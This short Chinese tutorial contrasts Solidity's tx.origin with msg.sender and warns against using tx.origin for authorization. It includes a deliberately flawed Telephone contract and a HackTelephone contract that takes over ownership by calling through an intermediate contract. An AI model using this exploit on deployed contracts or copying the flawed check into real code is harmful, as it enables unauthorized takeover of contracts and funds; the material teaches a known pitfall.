tx.origin 和 msg.sender
tx.origin
遍历整个调用栈,返回最初的调用者地址
msg.sender
返回当前调用者地址
例子
合约1
contract Telephone {
address public owner;
function Telephone() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
合约2
contract HackTelephone {
address public contractAddr = 0x9e...; // Telephone 合约地址
Telephone telephone = Telephone(contractAddr);
function changeowner() public {
telephone.changeOwner(msg.sender);
}
}
合约2这样调用合约1的函数时,避开了限制,改变了owner
值,这是因为合约1中的msg.sender
变为合约2地址,tx.orgin
为执行合约2的人。
Never use tx.origin for authorization.
用途
在智能合约的鉴权机制中不应使用tx.origin
。不是说绝对不能用tx.origin
变量。该变量还是有合理的使用场景的。比如, 如果想要控制外部合约调用本合约,可以使用require(tx.origin == msg.sender)
. 这个语句防止一些中间的合约来调用本合约,限制本合约仅可供常用的codeless
地址访问。
我们通常使用tx.origin来区分调用者是一个账户而不是一个合约。
if(msg.sender == tx.origin)
如果调用者是一个账户,上面的条件永远是True。如果是合约账户,则条件就为False.
引用自该文。
网友评论